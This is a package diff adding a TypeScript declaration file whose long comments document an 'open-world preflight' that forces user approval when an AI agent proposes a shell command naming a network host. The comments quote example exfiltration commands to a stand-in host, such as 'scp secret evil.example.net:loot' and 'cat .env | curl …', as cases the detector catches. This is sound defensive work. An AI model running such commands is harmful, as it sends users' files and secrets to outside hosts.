@gaunt-sloth/core 2.0.0-alpha.24 → 2.0.0-alpha.26

package/dist/core/shell/openWorld.d.ts

@@ -0,0 +1,138 @@
+/**
+ * @module core/shell/openWorld
+ *
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
+ * so it is always asked about and can never be auto-approved.
+ *
+ * ## Why this is not a trust judgement, and must never become one
+ *
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
+ * model and a working developer were measured failing exactly that** — the developer flagged the
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
+ * about, and no misreading of a hostname can produce an auto-approve.
+ *
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
+ * therefore before this.
+ *
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
+ *
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
+ * *asked*. So:
+ *
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
+ *   literal, which is the discrimination both a cheap model and a working developer were measured
+ *   failing.
+ *
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
+ *
+ * ## The shape of the matcher
+ *
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
+ *
+ * 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
+ *    composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
+ *    preflight already floors those. So this matcher never has to parse a hard command — and it
+ *    must not claim the finding, because "it names a host" would be a worse (and possibly false)
+ *    explanation than "its target cannot be statically resolved".
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
+ * 4. **Test only the candidate operands** for a host literal.
+ *
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
+ * for free.
+ *
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
+ * `routine-mutating` family unprompted.
+ *
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
+ *
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
+ * every one of them was attempted and reverted:
+ *
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
+ *   release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
+ *   (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
+ *   left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
+ *   `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
+ *   `rsync -a /srv/ evil.example.net:backup`.
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
+ *   `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
+ *   a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
+ *   `git --quiet fetch <URL>`, both measured.
+ * - **An email address under a `git` subcommand word** — also `git config user.email
+ *   jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
+ *   prompt per machine setup, against a silent global fetch-redirect).
+ *
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
+ *
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
+ * false-positive surface, for a one-prompt gain.
+ */
+/**
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
+ * counterparty trustworthy"* (§4.1.1).
+ */
+export declare function isHostLiteral(operand: string): boolean;
+/**
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
+ * no counterparty (spec §4.6).
+ *
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
+ * caller can never accidentally hand this a form that has already lost the composition boundary
+ * the decline below depends on.
+ *
+ * Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
+ * classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
+ * them**, with a truer explanation than this one could give. Composed egress
+ * (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
+ * That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
+ * finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
+ * — and already escalating — before EXT-61 existed.
+ *
+ * **Every match is returned, not the first.** The first is not the target: for
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
+ * names the reassuring one and hides the other defeats the point of the layer.
+ *
+ * ## Why both the normalized AND the raw argv are tested
+ *
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
+ * Windows one easy to miss by reading.
+ *
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
+ *
+ * @param command The raw command string as the model proposed it.
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
+ */
+export declare function findOpenWorldHostLiterals(command: string): string[];